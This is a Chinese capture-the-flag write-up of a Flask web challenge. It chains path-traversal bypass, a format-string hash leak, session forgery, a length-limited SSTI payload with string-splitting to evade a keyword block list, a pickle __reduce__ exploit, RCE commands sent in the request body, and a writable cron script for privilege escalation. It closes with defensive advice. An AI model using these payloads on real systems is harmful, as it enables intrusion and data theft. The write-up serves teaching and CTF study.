从一道题看利用pickle反序列化去打SSTI渲染模板达到RCE
字数 1530 2025-08-22 22:47:30
Python反序列化漏洞与SSTI结合攻击实战教学
1. 漏洞背景
本教学基于2023年春秋杯冬季赛的一道Web题目,展示了如何利用Python的pickle反序列化漏洞结合服务器端模板注入(SSTI)实现远程代码执行(RCE)。该题目涉及多个安全知识点,包括:
- 任意文件读取
- 格式化字符串漏洞
- Flask session伪造
- 文件上传绕过
- Python原生反序列化
- 模板注入(SSTI)
- 权限提升
2. 初始信息收集
2.1 注册与登录功能
- 发现存在
/register.php端点,可以注册新用户 - 注册后返回用户名和密码的哈希值
- 登录后检查Cookie,发现Flask session认证
2.2 文件上传功能
- 上传文件后跳转到
pic.php,显示文件内容base64编码 - 测试发现存在任意文件读取漏洞,但过滤了
../ - 使用双写绕过
....//成功读取系统文件
3. 源码审计
通过任意文件读取获取关键源码:
3.1 app.py关键代码分析
import os
import pickle
import base64
import hashlib
from flask import Flask, request, session, render_template, redirect
app = Flask(__name__)
app.template_folder = "./" # 关键点:模板目录设置为当前目录
app.secret_key = users.passwords['admin'] = hashlib.md5(os.urandom(32)).hexdigest()
# 文件上传处理
@app.route('/', methods=['GET', 'POST'])
def index():
if not session or not session.get('username'):
return redirect("login.php")
if request.method == "POST" and 'file' in request.files:
filename = waf(request.files['file'])
filepath = os.path.join("./uploads", filename)
request.files['file'].save(filepath)
return "File upload success! Path: <a href='pic.php?pic=" + filename + "'>" + filepath + "</a>."
return render_template("index.html")
# 关键漏洞点:pickle反序列化
@app.route('/pic.php', methods=['GET', 'POST'])
def pic():
if not session or not session.get('username'):
return redirect("login.php")
pic = request.args.get('pic')
filepath = "./uploads/" + pic.replace("../", "")
if os.path.isfile(filepath):
if session.get('username') == "admin":
return pickle.load(open(filepath, "rb")) # 反序列化漏洞点
else:
return ''''''
3.2 waf.py过滤规则
def waf(file):
if len(os.listdir("./uploads")) >= 4:
os.system("rm -rf /app/uploads/*")
content = file.read().lower()
if len(content) >= 70: # 长度限制
return False
# 黑名单过滤
for b in [b"\n", b"\r", b"\\", b"base", b"builtin", b"code", b"command",
b"eval", b"exec", b"flag", b"global", b"os", b"output",
b"popen", b"pty", b"repeat", b"run", b"setstate",
b"spawn", b"subprocess", b"sys", b"system", b"timeit"]:
if b in content:
return False
file.seek(0)
return secure_filename(file.filename)
3.3 Users.py用户管理
class Users:
passwords = {}
def register(self, username, password):
if username in self.passwords:
return False
if len(self.passwords) >= 3:
for u in list(self.passwords.keys()):
if u != "admin":
del self.passwords[u]
self.passwords[username] = hashlib.md5(password.encode()).hexdigest()
return True
4. 漏洞利用链
4.1 获取admin密码
-
格式化字符串漏洞:
str1 = "Register successs! Your username is {username} with hash: {{users.passwords[{username}]}}.".format(username=username).format(users=users) -
注册用户名为
{users.passwords},获取所有用户密码哈希:注册用户名: {users.passwords} 密码: 任意返回结果将显示所有用户密码哈希,包括admin的
4.2 Flask Session伪造
- 使用获取的admin密码哈希作为secret_key
- 使用flask_session_cookie_manager工具伪造session:
python3 flask_session_cookie_manager3.py encode -s "036197d2cb927e572ad60e67b7c5a95c" -t "{'username': 'admin'}"
4.3 构造SSTI Payload
-
创建恶意模板文件
poc:{{ lipsum['__glob''als__']['__built''ins__']['ev''al'](request.data) }}- 使用字符串分割绕过关键字过滤
- 使用
lipsum缩短payload长度 - 总长度控制在70字符以内
4.4 构造Pickle反序列化EXP
import pickle
from flask import render_template
class EXP():
def __reduce__(self):
return (render_template, ("uploads/poc",))
exp = EXP()
f = open("exp", "wb")
pickle.dump(exp, f)
4.5 完整攻击流程
- 上传SSTI模板文件
poc - 上传pickle反序列化文件
exp - 使用伪造的admin session访问:
/pic.php?pic=exp - POST请求中传递要执行的命令:
import os; os.system('whoami')
5. 权限提升
- 发现
/start.sh中定期执行/app/clear.sh clear.sh权限为766,可被修改- 修改
clear.sh内容为:cat /flag > /app/flag - 等待定时任务执行,获取flag
6. 关键知识点总结
6.1 Pickle反序列化绕过技巧
- 当直接RCE被过滤时,考虑间接调用其他危险函数
- 利用
render_template函数渲染恶意模板 - 结合应用环境特点(如模板目录设置)寻找利用链
6.2 SSTI绕过技巧
- 字符串分割:
'__glob''als__'代替'__globals__' - 使用短payload生成函数如
lipsum - 通过
request.data接收后续命令,避免一次性过长payload
6.3 权限维持技巧
- 利用系统定时任务写入后门
- 在可写脚本中植入命令
- 使用输出重定向绕过权限限制
7. 防御建议
-
Pickle安全:
- 避免反序列化不可信数据
- 使用更安全的序列化格式如JSON
-
SSTI防御:
- 使用沙盒环境渲染模板
- 严格限制模板中可调用的函数和变量
-
文件上传:
- 限制上传文件类型
- 存储上传文件到不可执行目录
- 使用随机文件名
-
权限控制:
- 最小权限原则运行服务
- 定期检查系统定时任务
- 限制关键目录和文件的写权限
8. 扩展思考
这种攻击方式展示了如何将多个看似独立的漏洞串联起来形成完整的攻击链。在实际渗透测试中,需要:
- 全面审计应用功能点
- 关注不同功能间的数据流动
- 特别注意那些可以控制输入又影响输出的功能点
- 考虑不同漏洞间的组合可能性
通过这道题目,我们学习到了如何突破单一漏洞的限制,利用应用的整体架构特点实现更复杂的攻击。